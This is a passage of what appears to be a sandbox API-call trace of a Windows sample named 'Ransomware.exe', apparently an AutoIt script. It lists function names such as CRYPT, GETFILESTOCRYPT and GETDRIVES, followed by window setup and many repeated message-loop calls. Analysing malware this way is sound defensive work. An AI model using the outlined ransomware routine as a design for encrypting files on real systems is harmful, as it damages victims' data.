cchLength=0x14 | out: lpsz="__ARRAY_STRINGREPEAT") returned 0x14 [0049.641] CharUpperBuffW (in: lpsz="__ARRAY_STRINGREPEAT", cchLength=0x14 | out: lpsz="__ARRAY_STRINGREPEAT") returned 0x14 [0049.641] CharUpperBuffW (in: lpsz="__ARRAY_EXETERINTERNAL", cchLength=0x16 | out: lpsz="__ARRAY_EXETERINTERNAL") returned 0x16 [0049.641] CharUpperBuffW (in: lpsz="__ARRAY_EXETERINTERNAL", cchLength=0x16 | out: lpsz="__ARRAY_EXETERINTERNAL") returned 0x16 [0049.641] CharUpperBuffW (in: lpsz="__ARRAY_COMBINATIONS", cchLength=0x14 | out: lpsz="__ARRAY_COMBINATIONS") returned 0x14 [0049.641] CharUpperBuffW (in: lpsz="__ARRAY_COMBINATIONS", cchLength=0x14 | out: lpsz="__ARRAY_COMBINATIONS") returned 0x14 [0049.641] CharUpperBuffW (in: lpsz="__ARRAY_GETNEXT", cchLength=0xf | out: lpsz="__ARRAY_GETNEXT") returned 0xf [0049.641] CharUpperBuffW (in: lpsz="__ARRAY_GETNEXT", cchLength=0xf | out: lpsz="__ARRAY_GETNEXT") returned 0xf [0049.641] CharUpperBuffW (in: lpsz="__ARRAY_MINMAXINDEX", cchLength=0x13 | out: lpsz="__ARRAY_MINMAXINDEX") returned 0x13 [0049.641] CharUpperBuffW (in: lpsz="__ARRAY_MINMAXINDEX", cchLength=0x13 | out: lpsz="__ARRAY_MINMAXINDEX") returned 0x13 [0049.641] CharUpperBuffW (in: lpsz="__ARRAY_GREATERTHAN", cchLength=0x13 | out: lpsz="__ARRAY_GREATERTHAN") returned 0x13 [0049.641] CharUpperBuffW (in: lpsz="__ARRAY_GREATERTHAN", cchLength=0x13 | out: lpsz="__ARRAY_GREATERTHAN") returned 0x13 [0049.641] CharUpperBuffW (in: lpsz="__ARRAY_LESSTHAN", cchLength=0x10 | out: lpsz="__ARRAY_LESSTHAN") returned 0x10 [0049.641] CharUpperBuffW (in: lpsz="__ARRAY_LESSTHAN", cchLength=0x10 | out: lpsz="__ARRAY_LESSTHAN") returned 0x10 [0049.641] CharUpperBuffW (in: lpsz="__ARRAYUNIQUE_AUTOERRFUNC", cchLength=0x19 | out: lpsz="__ARRAYUNIQUE_AUTOERRFUNC") returned 0x19 [0049.641] CharUpperBuffW (in: lpsz="__ARRAYUNIQUE_AUTOERRFUNC", cchLength=0x19 | out: lpsz="__ARRAYUNIQUE_AUTOERRFUNC") returned 0x19 [0049.642] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0049.642] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0049.642] CharUpperBuffW (in: lpsz="_FILECREATE", cchLength=0xb | out: lpsz="_FILECREATE") returned 0xb [0049.642] CharUpperBuffW (in: lpsz="_FILECREATE", cchLength=0xb | out: lpsz="_FILECREATE") returned 0xb [0049.642] CharUpperBuffW (in: lpsz="_FILELISTTOARRAY", cchLength=0x10 | out: lpsz="_FILELISTTOARRAY") returned 0x10 [0049.642] CharUpperBuffW (in: lpsz="_FILELISTTOARRAY", cchLength=0x10 | out: lpsz="_FILELISTTOARRAY") returned 0x10 [0049.642] CharUpperBuffW (in: lpsz="_FILELISTTOARRAYREC", cchLength=0x13 | out: lpsz="_FILELISTTOARRAYREC") returned 0x13 [0049.642] CharUpperBuffW (in: lpsz="_FILELISTTOARRAYREC", cchLength=0x13 | out: lpsz="_FILELISTTOARRAYREC") returned 0x13 [0049.642] CharUpperBuffW (in: lpsz="__FLTAR_ADDFILELISTS", cchLength=0x14 | out: lpsz="__FLTAR_ADDFILELISTS") returned 0x14 [0049.642] CharUpperBuffW (in: lpsz="__FLTAR_ADDFILELISTS", cchLength=0x14 | out: lpsz="__FLTAR_ADDFILELISTS") returned 0x14 [0049.642] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0049.642] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0049.642] CharUpperBuffW (in: lpsz="__FLTAR_LISTTOMASK", cchLength=0x12 | out: lpsz="__FLTAR_LISTTOMASK") returned 0x12 [0049.642] CharUpperBuffW (in: lpsz="__FLTAR_LISTTOMASK", cchLength=0x12 | out: lpsz="__FLTAR_LISTTOMASK") returned 0x12 [0049.642] CharUpperBuffW (in: lpsz="_FILEPRINT", cchLength=0xa | out: lpsz="_FILEPRINT") returned 0xa [0049.642] CharUpperBuffW (in: lpsz="_FILEPRINT", cchLength=0xa | out: lpsz="_FILEPRINT") returned 0xa [0049.643] CharUpperBuffW (in: lpsz="_FILEREADTOARRAY", cchLength=0x10 | out: lpsz="_FILEREADTOARRAY") returned 0x10 [0049.643] CharUpperBuffW (in: lpsz="_FILEREADTOARRAY", cchLength=0x10 | out: lpsz="_FILEREADTOARRAY") returned 0x10 [0049.643] CharUpperBuffW (in: lpsz="_FILEWRITEFROMARRAY", cchLength=0x13 | out: lpsz="_FILEWRITEFROMARRAY") returned 0x13 [0049.643] CharUpperBuffW (in: lpsz="_FILEWRITEFROMARRAY", cchLength=0x13 | out: lpsz="_FILEWRITEFROMARRAY") returned 0x13 [0049.643] CharUpperBuffW (in: lpsz="_FILEWRITELOG", cchLength=0xd | out: lpsz="_FILEWRITELOG") returned 0xd [0049.643] CharUpperBuffW (in: lpsz="_FILEWRITELOG", cchLength=0xd | out: lpsz="_FILEWRITELOG") returned 0xd [0049.643] CharUpperBuffW (in: lpsz="_FILEWRITETOLINE", cchLength=0x10 | out: lpsz="_FILEWRITETOLINE") returned 0x10 [0049.643] CharUpperBuffW (in: lpsz="_FILEWRITETOLINE", cchLength=0x10 | out: lpsz="_FILEWRITETOLINE") returned 0x10 [0049.643] CharUpperBuffW (in: lpsz="_PATHFULL", cchLength=0x9 | out: lpsz="_PATHFULL") returned 0x9 [0049.643] CharUpperBuffW (in: lpsz="_PATHFULL", cchLength=0x9 | out: lpsz="_PATHFULL") returned 0x9 [0049.643] CharUpperBuffW (in: lpsz="_PATHGETRELATIVE", cchLength=0x10 | out: lpsz="_PATHGETRELATIVE") returned 0x10 [0049.643] CharUpperBuffW (in: lpsz="_PATHGETRELATIVE", cchLength=0x10 | out: lpsz="_PATHGETRELATIVE") returned 0x10 [0049.643] CharUpperBuffW (in: lpsz="_PATHMAKE", cchLength=0x9 | out: lpsz="_PATHMAKE") returned 0x9 [0049.643] CharUpperBuffW (in: lpsz="_PATHMAKE", cchLength=0x9 | out: lpsz="_PATHMAKE") returned 0x9 [0049.643] CharUpperBuffW (in: lpsz="_PATHSPLIT", cchLength=0xa | out: lpsz="_PATHSPLIT") returned 0xa [0049.644] CharUpperBuffW (in: lpsz="_PATHSPLIT", cchLength=0xa | out: lpsz="_PATHSPLIT") returned 0xa [0049.644] CharUpperBuffW (in: lpsz="_REPLACESTRINGINFILE", cchLength=0x14 | out: lpsz="_REPLACESTRINGINFILE") returned 0x14 [0049.644] CharUpperBuffW (in: lpsz="_REPLACESTRINGINFILE", cchLength=0x14 | out: lpsz="_REPLACESTRINGINFILE") returned 0x14 [0049.644] CharUpperBuffW (in: lpsz="_TEMPFILE", cchLength=0x9 | out: lpsz="_TEMPFILE") returned 0x9 [0049.644] CharUpperBuffW (in: lpsz="_TEMPFILE", cchLength=0x9 | out: lpsz="_TEMPFILE") returned 0x9 [0049.644] CharUpperBuffW (in: lpsz="_RANDOMSTRING", cchLength=0xd | out: lpsz="_RANDOMSTRING") returned 0xd [0049.644] CharUpperBuffW (in: lpsz="_RANDOMSTRING", cchLength=0xd | out: lpsz="_RANDOMSTRING") returned 0xd [0049.644] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0049.644] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0049.644] CharUpperBuffW (in: lpsz="DECRYPT", cchLength=0x7 | out: lpsz="DECRYPT") returned 0x7 [0049.644] CharUpperBuffW (in: lpsz="DECRYPT", cchLength=0x7 | out: lpsz="DECRYPT") returned 0x7 [0049.644] CharUpperBuffW (in: lpsz="GETFILESTODECRYPT", cchLength=0x11 | out: lpsz="GETFILESTODECRYPT") returned 0x11 [0049.644] CharUpperBuffW (in: lpsz="GETFILESTODECRYPT", cchLength=0x11 | out: lpsz="GETFILESTODECRYPT") returned 0x11 [0049.644] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0049.644] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0049.644] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0049.645] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0049.645] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", nBufferLength=0x7fff, lpBuffer=0x12ff938, lpFilePart=0x130f93c | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Ransomware.exe", lpFilePart=0x130f93c*="Ransomware.exe") returned 0x2c [0049.645] GetSysColorBrush (nIndex=15) returned 0x1100074 [0049.645] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0049.645] LoadIconW (hInstance=0x8a0000, lpIconName=0x63) returned 0x40227 [0049.647] LoadIconW (hInstance=0x8a0000, lpIconName=0xa4) returned 0x1500d9 [0049.648] LoadIconW (hInstance=0x8a0000, lpIconName=0xa2) returned 0xe0117 [0049.649] LoadImageW (hInst=0x8a0000, name=0x63, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0xb00e3 [0049.650] RegisterClassExW (param_1=0x130f914) returned 0xc160 [0049.650] GetSysColorBrush (nIndex=15) returned 0x1100074 [0049.650] RegisterClassExW (param_1=0x130f8b8) returned 0xc15f [0049.650] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc0a6 [0049.650] InitCommonControlsEx (picce=0x130f8e8) returned 1 [0049.653] ImageList_Create (cx=16, cy=16, flags=0x21, cInitial=1, cGrow=1) returned 0x160dec0 [0049.654] LoadIconW (hInstance=0x8a0000, lpIconName=0xa9) returned 0x90209 [0049.655] ImageList_ReplaceIcon (himl=0x160dec0, i=-1, hicon=0x90209) returned 0 [0049.657] CreateWindowExW (dwExStyle=0x0, lpClassName="AutoIt v3", lpWindowName="AutoIt v3", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=300, nHeight=100, hWndParent=0x0, hMenu=0x0, hInstance=0x8a0000, lpParam=0x0) returned 0x70084 [0049.662] NtdllDefWindowProc_W (hWnd=0x70084, Msg=0x24, wParam=0x0, lParam=0x130f4cc) returned 0x0 [0049.663] NtdllDefWindowProc_W (hWnd=0x70084, Msg=0x81, wParam=0x0, lParam=0x130f4c0) returned 0x1 [0049.667] NtdllDefWindowProc_W (hWnd=0x70084, Msg=0x83, wParam=0x0, lParam=0x130f4ac) returned 0x0 [0049.841] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0049.841] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc0a6 [0049.841] CreatePopupMenu () returned 0xb0201 [0049.842] CreateWindowExW (dwExStyle=0x0, lpClassName="edit", lpWindowName=0x0, dwStyle=0x50b008c4, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x70084, hMenu=0x1, hInstance=0x8a0000, lpParam=0x0) returned 0x8003a [0049.873] NtdllDefWindowProc_W (hWnd=0x70084, Msg=0x210, wParam=0x10001, lParam=0x8003a) returned 0x0 [0049.874] ShowWindow (hWnd=0x70084, nCmdShow=0) returned 0 [0049.874] ShowWindow (hWnd=0x70084, nCmdShow=0) returned 0 [0049.874] Shell_NotifyIconW (dwMessage=0x0, lpData=0x130f590) returned 1 [0049.919] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130f1c0) returned 1 [0049.922] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 1 [0049.923] TranslateMessage (lpMsg=0x130f86c) returned 0 [0049.923] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0049.923] NtdllDefWindowProc_W (hWnd=0x70084, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0049.923] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.925] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.925] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.925] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.925] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.925] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.925] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.925] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.925] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.925] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.925] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.925] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.925] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.925] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.926] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.926] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.926] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.926] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.926] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.926] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.926] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.926] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.926] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.926] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.926] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.926] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.926] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.926] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.926] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.926] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.927] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.927] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.927] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.927] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.927] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.927] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.927] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.927] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.927] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.927] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.927] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.927] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.927] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.927] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.927] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.927] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.927] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.928] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.928] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.930] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.930] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.930] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.930] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.930] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.930] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.931] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.931] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.931] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.931] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.931] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.931] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.931] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.931] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.931] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.931] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.931] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.931] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.931] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.932] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.932] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.932] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.932] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.932] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.932] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.932] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.932] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.932] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.932] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.932] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.932] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.932] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.932] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.932] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.932] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.933] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.933] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, 